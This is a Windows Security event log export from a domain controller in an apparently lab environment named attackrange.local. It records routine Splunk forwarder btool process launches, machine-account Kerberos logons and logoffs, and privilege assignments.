03/11/2021 11:50:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252071
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1190
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa98
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252107
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x110c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252106
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252105
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F5F4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252104
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14F5F4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64596

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252103
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F5F4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252102
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F593

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252101
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14F593
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64595

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252100
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F593

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252099
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F52D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252098
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14F52D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64594

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252097
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F52D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252096
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F4CC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252095
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14F4CC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64593

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252094
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14F4CC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252093
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252092
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1044
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252091
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1044
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252090
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252089
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x120c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252088
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x120c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252133
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x150655

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252132
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x150655
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64600

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
